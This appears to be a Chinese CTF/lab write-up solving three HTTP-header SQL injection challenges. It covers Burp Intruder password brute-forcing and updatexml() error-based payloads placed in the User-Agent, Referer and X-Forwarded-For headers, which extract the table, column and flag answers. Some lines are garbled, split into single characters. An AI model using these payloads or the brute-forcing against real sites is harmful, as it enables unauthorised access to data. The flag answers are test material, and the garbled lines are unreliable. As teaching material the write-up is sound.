第一题:
1.判断注入方法。
看源码,因为用户名密码处用正则表达式过滤,禁止了\号的输入,所以查看其它可以注入的地方。
u
a
g
e
n
t
处
可
以
做
h
e
a
d
注
入
。
要
执
行
h
e
a
d
注
入
,
必
须
uagent处可以做head注入。要执行head注入,必须
uagent处可以做head注入。要执行head注入,必须row有数据,即登录成功时才可。这也跟Head注入一般都需要用户名密码登录成功才能注入的常识吻合
2.得到用户名密码
用Burp抓包:打开burp,输入账户admin,密码胡乱输入,提交→进burp,Intruder.Positions→Clear→把要跑的部分选中(这里选中胡乱输入的密码部分)→Add→点Payloads.Load,选择自己想加载的字典(成功的话在右边文本框会显示)→点最上面菜单栏的Instruder.Start attact(开始用字典里面的东西替换数据包,通过Length和Status不同,排序找到不一样的,选中此行,点击Response.Raw,从代码行中找到汉字提示,如提示登录成功,则为跑出来的正确密码)。通过上述方法获得用户名密码之一为admin,123456
3.用报错注入判断库名
**
报错注入原理:因为路径的不存在等原因,产生报错,从报错提示中获得想要的数据。最常见最有名的报错注入——updatexml()。格式:updatexml(目标xml内容,xml文档路径,更新的内容)使用举例:updatexml(1,concat(‘’,database()),1),因为会报错并且database()优先执行,所以会报出database()库名。
**
源码:
INSERT INTO uagent(‘uagent’,’username’) VALUES(‘
u
a
g
e
n
t
’
,
’
uagent’,’
uagent’,’uname’)
$uagent=1’ and updatexml(1,concat(‘~’,database()),1) ,’1’)— qwe
可以用插件,name处输入User-Agent,Value处输入 1’ and updatexml(1,concat(‘~’,database()),1) ,’1’)— qwe
得出报错:
XPATH syntax error: ‘~head_error’,
所以库名为head_error(其实得到库名与否没太大意义,后面用database()替代了。)
4.判断表名。
用插件,name处输入User-Agent,Value处输入1’ and updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database()) ),1) ,’1’)— qwe
用户名密码输入admin 123456,提交,得出报错:Subquery returns more than 1 row
错误原因是字符串不止一行,加limit再试一下。
1’ and updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ),1) ,’1’)— qwe
得到报错:XPATH syntax error: ‘~flag_head’,
所以表名为flag_head5.判断字段名。
用插件,name处输入User-Agent,Value处输入1’ and updatexml(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=’flag_head’ limit 1,1) ),1) ,’1’)— qwe
得到报错:XPATH syntax error: ‘~flag_h1’,
所以字段名为flag_h1
6.寻找具体数据.
用插件,name处输入User-Agent,Value处输入1’ and updatexml(1,concat(‘~’,(select flag_h1 from flag_head limit 0,1) ),1) ,’1’)— qwe
得到报错: error: ‘~zKaQ-YourHd’
此题答案为zKaQ-YourHd
改变limit,得到其他答案:zKaQ-Refer 等
第二题:原理同题目一,先burp跑密码跑出admin 123456。
再用插件,name处输入REFERER,然而插件不生效了。换burp手动注入。代码跟题目一完全相同。
得到表名为flag_head。字段名为flag_h1。zKaQ-YourHd为答案之一。
第三题:
X_FORWARDED_FOR
用插件,偷个懒就猜之前的表名字段名都一样,直接复制1’ and updatexml(1,concat(‘~’,(select flag_h1 from flag_head limit 0,1) ),1) ,’1’)— qwe
出答案:zKaQ-YourHd